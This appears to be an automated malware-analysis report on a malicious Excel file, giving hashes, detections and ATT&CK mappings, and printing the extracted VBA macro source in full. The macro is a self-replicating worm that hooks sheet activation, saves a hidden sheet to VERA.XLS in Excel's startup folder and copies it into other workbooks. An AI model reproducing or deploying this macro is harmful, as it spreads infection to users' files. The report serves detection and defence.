Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ea8619500fa0c2e6…

MALICIOUS

Office (OLE)

58.0 KB Created: 2006-05-03 14:33:02 Authoring application: Microsoft Excel First seen: 2015-09-18
MD5: 26c8f8d2bcf964f22960343b6d350cb0 SHA-1: cba987cba588775d5b394df5ff0aac59780e049d SHA-256: ea8619500fa0c2e60aae6b2ebd24e430e7bb70ef54ede2e6ad333d497db131de
128 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The critical ClamAV heuristic and the presence of VBA macros, including an Auto_Open subroutine, indicate malicious intent. The Auto_Open macro attempts to copy the current workbook to 'VERA.XLS' in the application startup path and then calls a function 'VERA.xls!check_fi', suggesting a downloader or dropper functionality. The CreateObject call further supports the execution of arbitrary code.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-1616825 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-1616825
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set x = CreateObject("ADODB.Connection")
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2646 bytes
SHA-256: 9ee0a0a4205a3e31125e335775e5e2d5ee04ef8e6da98200a0341e2c78d163de
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Locas"



Sub fig()
    
    Set x = CreateObject("ADODB.Connection")
    
    x.Open "Provider=Microsoft.Jet.OLEDB.4.0;Extended Properties=Excel 8.0;Data Source=" & ThisWorkbook.FullName
Sql = "select mid(款号,1,2) & '0000 组', sum(件数) from [货品销售$] group by  mid(款号,1,2)"

    Set yy = x.Execute(Sql)
   [g10:h44].Clear
   [g10].CopyFromRecordset yy
   
        Set yy = Nothing:    Set x = Nothing
End Sub





















Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "VERA.XLS")
    If m$ = "VERA.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("locas").Visible = True
    Sheets("locas").Select
    Sheets("locas").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "VERA.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("LOCAS").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "VERA.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "LOCAS" Then
         Workbooks("VERA.XLS").Sheets("LOCAS").Copy before:=Workbooks(n4$).Sheets(1)
    Workbooks(n4$).Sheets("LOCAS").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = Tru
    Application.OnSheetActivate = "VERA.xls!check_files"
    Case Else
End Select
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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